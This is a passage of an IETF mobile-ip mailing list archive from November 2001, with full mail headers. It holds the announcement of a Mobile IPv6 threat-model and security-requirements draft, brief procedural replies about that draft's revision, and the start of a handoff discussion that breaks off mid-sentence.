the mobile node will send the next registration request after he receives another agent 

advertisement???
 



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 07:07:38 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA01621
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 07:07:38 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id EAA21564;
	Wed, 7 Nov 2001 04:07:06 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA10118;
	Wed, 7 Nov 2001 04:06:14 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7C5OQO023516
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 04:05:24 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7C5Oe5023515
	for mobile-ip-dist; Wed, 7 Nov 2001 04:05:24 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7C5KQO023508
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 04:05:20 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA23237
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 04:05:04 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA21951
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 05:05:21 -0700 (MST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA01317;
	Wed, 7 Nov 2001 07:05:15 -0500 (EST)
Message-Id: <200111071205.HAA01317@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: mobile-ip@sunroof.eng.sun.com
From: Internet-Drafts@ietf.org
Subject: [mobile-ip] I-D ACTION:draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
Date: Wed, 07 Nov 2001 07:05:15 -0500
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the IP Routing for Wireless/Mobile Hosts Working Group of the IETF.

	Title		: Threat Models introduced by Mobile IPv6 and 
                          Requirements for Security in Mobile IPv6
	Author(s)	: A. Mankin et al.
	Filename	: draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
	Pages		: 30
	Date		: 06-Nov-01
	
The IESG returned the Mobile IPv6 (MIPv6) draft to the working group
due to concerns about the security and scalability of binding updates
(BUs) sent to correspondent nodes and the associated IPsec processing
that is specified in the draft. Since that time discussions have
continued to attempt to define what is really needed to make binding
updates secure while taking into consideration the aspect of
scalability as well as the fact that IPsec may not be the most
suitable security mechanism for securing BUs between MNs and CNs.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mobileip-mipv6-scrty-reqts-02.txt

To remove yourself from the IETF Announcement list, send a message to 
ietf-announce-request with the word unsubscribe in the body of the message.

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mobileip-mipv6-scrty-reqts-02.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mobileip-mipv6-scrty-reqts-02.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<20011106142751.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mobileip-mipv6-scrty-reqts-02.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mobileip-mipv6-scrty-reqts-02.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<20011106142751.I-D@ietf.org>

--OtherAccess--

--NextPart--




From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 07:57:28 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03400
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 07:57:26 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id FAA03759;
	Wed, 7 Nov 2001 05:56:33 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA13581;
	Wed, 7 Nov 2001 04:56:35 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7CtgQO023693
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 04:55:42 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7Ctfav023692
	for mobile-ip-dist; Wed, 7 Nov 2001 04:55:41 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7CtcQO023685
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 04:55:38 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA13553
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 04:55:39 -0800 (PST)
Received: from netcore.fi (netcore.fi [193.94.160.1])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA00154
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 04:55:38 -0800 (PST)
Received: from localhost (pekkas@localhost)
	by netcore.fi (8.11.6/8.11.6) with ESMTP id fA7Ctbi04407
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 14:55:37 +0200
Date: Wed, 7 Nov 2001 14:55:37 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: <mobile-ip@sunroof.eng.sun.com>
Subject: Re: [mobile-ip] I-D ACTION:draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
In-Reply-To: <200111071205.HAA01317@ietf.org>
Message-ID: <Pine.LNX.4.33.0111071449060.4355-100000@netcore.fi>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

On Wed, 7 Nov 2001 Internet-Drafts@ietf.org wrote:
> 	Filename	: draft-ietf-mobileip-mipv6-scrty-reqts-02.txt

It's nice to see how my comments (ready for cut'n'paste, only minor mental
chewing left to be done) were completely disregarded.  Perhaps they were
lost in the flood of messages, even though I tried to distinguish the
message with a catchy topic:

---
Date: Fri, 19 Oct 2001 10:53:55 +0300 (EEST)
From: Pekka Savola <pekkas@netcore.fi>
Reply-To: mobile-ip@sunroof.eng.sun.com
To: mobile-ip@sunroof.eng.sun.com
Subject: [mobile-ip] specific comments/text for RH/HA in SecReqs
---

IMO, unless there are also taken into consideration when evaluating the
solutions, the credibility of the evaluations might not hold in the long
run.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 10:26:06 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11402
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 10:26:05 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA28640;
	Wed, 7 Nov 2001 07:24:31 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA02508;
	Wed, 7 Nov 2001 07:24:04 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7FNCQO023923
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:23:12 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7FNCiF023922
	for mobile-ip-dist; Wed, 7 Nov 2001 07:23:12 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7FN8QO023915
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:23:09 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA22097
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:23:09 -0800 (PST)
Received: from mgw-dax2.ext.nokia.com (mgw-dax2.ext.nokia.com [63.78.179.217])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA21467
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 08:22:51 -0700 (MST)
Received: from davir04nok.americas.nokia.com (davir04nok.americas.nokia.com [172.18.242.87])
	by mgw-dax2.ext.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fA7FNoQ27066
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 09:23:50 -0600 (CST)
Received: from daebh002.NOE.Nokia.com (unverified) by davir04nok.americas.nokia.com
 (Content Technologies SMTPRS 4.2.5) with ESMTP id <T571286f1b2ac12f257079@davir04nok.americas.nokia.com> for <mobile-ip@sunroof.eng.sun.com>;
 Wed, 7 Nov 2001 09:23:08 -0600
Received: from daebe007.NOE.Nokia.com ([172.18.242.211]) by daebh002.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.2966);
	 Wed, 7 Nov 2001 09:23:07 -0600
X-MimeOLE: Produced By Microsoft Exchange V6.0.4712.0
content-class: urn:content-classes:message
Subject: RE: [mobile-ip] I-D ACTION:draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
Date: Wed, 7 Nov 2001 09:23:07 -0600
Message-ID: <697DAA22C5004B4596E033803A7CEF444CD050@daebe007.NOE.Nokia.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Thread-Topic: [mobile-ip] I-D ACTION:draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
Thread-Index: AcFnhKO/i0g8LdN2EdWBTgBQi2X+DwAGvxiA
From: "Patil Basavaraj (NET/Dallas)" <Basavaraj.Patil@nokia.com>
To: <mobile-ip@sunroof.eng.sun.com>
X-OriginalArrivalTime: 07 Nov 2001 15:23:07.0380 (UTC) FILETIME=[1A1FBB40:01C167A0]
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by sunroof.eng.sun.com id fA7FN9QO023916
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 8bit

The only change in this revision of the draft is the numbering scheme
used
for scenarios, threats and requirements. This was done in order to make
it
easier for Gabriels effort in doing a comparison of the various
solutions proposed
today against the requirements. There is no change to the content in the
I-D (yet).

We are still working on addressing all the other comments that we have
received
from WG members. A future revision will address those comments.

-Basavaraj

> 	Title		: Threat Models introduced by Mobile IPv6 and 
>                           Requirements for Security in Mobile IPv6
> 	Author(s)	: A. Mankin et al.
> 	Filename	: draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
> 	Pages		: 30
> 	Date		: 06-Nov-01
> 	


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 10:32:54 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11841
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 10:32:54 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA02222;
	Wed, 7 Nov 2001 07:31:32 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA03848;
	Wed, 7 Nov 2001 07:30:44 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7FU5QO024051
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:30:05 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7FU5cX024050
	for mobile-ip-dist; Wed, 7 Nov 2001 07:30:05 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7FU2QO024043
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:30:02 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA03737
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:30:02 -0800 (PST)
Received: from sj-msg-core-1.cisco.com (sj-msg-core-1.cisco.com [171.71.163.11])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id HAA22202
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:30:02 -0800 (PST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id fA7FU9B22898
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:30:09 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAG95660;
	Wed, 7 Nov 2001 07:29:25 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA15603; Wed, 7 Nov 2001 07:30:00 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15337.21368.335781.945990@thomasm-u1.cisco.com>
Date: Wed, 7 Nov 2001 07:30:00 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: Re: [mobile-ip] I-D ACTION:draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
In-Reply-To: <Pine.LNX.4.33.0111071449060.4355-100000@netcore.fi>
References: <200111071205.HAA01317@ietf.org>
	<Pine.LNX.4.33.0111071449060.4355-100000@netcore.fi>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Pekka Savola writes:
 > On Wed, 7 Nov 2001 Internet-Drafts@ietf.org wrote:
 > > 	Filename	: draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
 > 
 > It's nice to see how my comments (ready for cut'n'paste, only minor mental
 > chewing left to be done) were completely disregarded.  Perhaps they were
 > lost in the flood of messages, even though I tried to distinguish the
 > message with a catchy topic:

   It's not even clear to me what has actually changed.
   It sort of looks like _nothing_ has changed, and it
   was just resubmitted to keep it from expiring. Unfortuately
   the old draft has disappeared, so I can't do a diff.

   In particular, I've still yet to see the authors
   explain why MIPv6 should place any security
   requirements on the MN's first hop access router
   or access point since that's not even in MIPv6 
   charter to solve for, and thus it seems that this
   leads to an open ended requirement.

	    Mike


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 10:33:18 2001
Received: from patan.sun.com (patan.Sun.COM [192.18.98.43])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11889
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 10:33:17 -0500 (EST)
Received: from engmail1.Eng.Sun.COM ([129.146.1.13])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA00341;
	Wed, 7 Nov 2001 08:32:25 -0700 (MST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA04185;
	Wed, 7 Nov 2001 07:32:32 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7FVnQO024093
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:31:49 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7FVmwn024092
	for mobile-ip-dist; Wed, 7 Nov 2001 07:31:48 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7FVjQO024085
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:31:45 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA23964
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:31:46 -0800 (PST)
Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA06621
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 08:31:39 -0700 (MST)
Received: from mira-sjc5-7.cisco.com (mira-sjc5-7.cisco.com [171.71.163.27])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id fA7FVZn20331
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:31:35 -0800 (PST)
Received: from thomasm-u1.cisco.com (thomasm-u1.cisco.com [128.107.140.53])
	by mira-sjc5-7.cisco.com (Mirapoint)
	with ESMTP id AAG95685;
	Wed, 7 Nov 2001 07:30:58 -0800 (PST)
Received: (thomasm@localhost) by thomasm-u1.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) id HAA15606; Wed, 7 Nov 2001 07:31:33 -0800 (PST)
From: Michael Thomas <mat@cisco.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID: <15337.21461.744580.38644@thomasm-u1.cisco.com>
Date: Wed, 7 Nov 2001 07:31:33 -0800 (PST)
To: mobile-ip@sunroof.eng.sun.com
Subject: RE: [mobile-ip] I-D ACTION:draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
In-Reply-To: <697DAA22C5004B4596E033803A7CEF444CD050@daebe007.NOE.Nokia.com>
References: <697DAA22C5004B4596E033803A7CEF444CD050@daebe007.NOE.Nokia.com>
X-Mailer: VM 6.72 under 21.1 (patch 6) "Big Bend" XEmacs Lucid
X-Face: &,heK/V66p?[2!i|tVn,9lN0TUvEv7:9FzXREj/AuzN4m<D]vnFJ>u!4x[/Z4t{V}~L]+Sk
 @RFNnJEg~WZ/(8<`5a),-7ukALWa^&?&D2R0CSG3kO5~#6JxLF\d,g">$%B!0w{W)qIhmwhye104zd
 bUcI'1!
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Ah, good. I expected it was something procedural.

	  Mike
 

Patil Basavaraj (NET/Dallas) writes:
 > The only change in this revision of the draft is the numbering scheme
 > used
 > for scenarios, threats and requirements. This was done in order to make
 > it
 > easier for Gabriels effort in doing a comparison of the various
 > solutions proposed
 > today against the requirements. There is no change to the content in the
 > I-D (yet).
 > 
 > We are still working on addressing all the other comments that we have
 > received
 > from WG members. A future revision will address those comments.
 > 
 > -Basavaraj
 > 
 > > 	Title		: Threat Models introduced by Mobile IPv6 and 
 > >                           Requirements for Security in Mobile IPv6
 > > 	Author(s)	: A. Mankin et al.
 > > 	Filename	: draft-ietf-mobileip-mipv6-scrty-reqts-02.txt
 > > 	Pages		: 30
 > > 	Date		: 06-Nov-01
 > > 	


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov  7 10:59:22 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA13237
	for <mobileip-archive@odin.ietf.org>; Wed, 7 Nov 2001 10:59:22 -0500 (EST)
Received: from engmail2.Eng.Sun.COM ([129.146.1.25])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id HAA14131;
	Wed, 7 Nov 2001 07:57:51 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA28527;
	Wed, 7 Nov 2001 07:57:32 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7FubQO024388
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:56:38 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0/Submit) id fA7Fub6m024387
	for mobile-ip-dist; Wed, 7 Nov 2001 07:56:37 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta0+Sun/8.12.2.Beta0) with ESMTP id fA7FuYQO024380
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:56:34 -0800 (PST)
Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id HAA19419
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 07:56:19 -0800 (PST)
Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116])
	by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA22217
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 08:56:16 -0700 (MST)
Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32])
	by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fA7FuXf17944
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 7 Nov 2001 16:56:33 +0100 (MET)
Received: FROM esealnt400.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Wed Nov 07 16:56:20 2001 +0100
Received: by esealnt400 with Internet Mail Service (5.5.2653.19)
	id <THZ8NCQ1>; Wed, 7 Nov 2001 16:56:20 +0100
Message-ID: <795A014AF92DD21182AF0008C7A404320DFBED6D@esealnt117>
From: "Karim El-Malki (ERA)" <Karim.El-Malki@era.ericsson.se>
To: "'mobile-ip@sunroof.eng.sun.com'" <mobile-ip@sunroof.eng.sun.com>
Subject: RE: [mobile-ip] Low Latency MIPv4 Handoffs: Coverage Area Transit
	  ion
Date: Wed, 7 Nov 2001 16:56:23 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> > > First I should call out one place where it looks like we may have
> > > differing assumptions. I assert that the MN MUST know whether or
> > > not it is in a PRE-REG or rfc2002 coverage area, since the actions
> > > it takes on movement detection will be different. For rfc2002, a
> > > MN typically on receipt on an advert will flush L2 caches and
> > > routing tables, add a default and host route through the FA, and
> > > send a registration reply.
> > 
> > It would do that after it received a registration reply. I 
> guess that's
> > what you meant.
> 
> Actually the MN can set the default route whenever it wants after it
